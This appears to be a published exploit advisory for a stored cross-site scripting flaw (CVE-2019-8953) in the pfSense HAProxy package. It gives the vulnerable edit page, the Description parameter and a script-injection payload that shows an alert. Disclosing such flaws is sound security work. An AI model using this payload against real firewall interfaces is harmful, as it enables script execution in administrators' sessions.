pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting

# Exploit Title: pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Stored Cross-Site Scripting 
# Date: 13.02.2019 
# Exploit Author: Gionathan "John" Reale 
# Vendor Homepage: https://www.pfsense.org 
# Version: 2.4.4-p1/0.59_14 
# Software Link: N/A
# Google Dork: N/A
# CVE:2019-8953 

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Introduction pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. 
In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. 
HAProxy is free, open source software that provides a high availability load balancer and proxy server for TCP and HTTP-based applications that spreads requests across multiple servers. 
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Example: URL https://192.168.1.1/haproxy/haproxy_listeners_edit.php 
PARAMETER Description 
PAYLOAD "><script>alert("test")</script>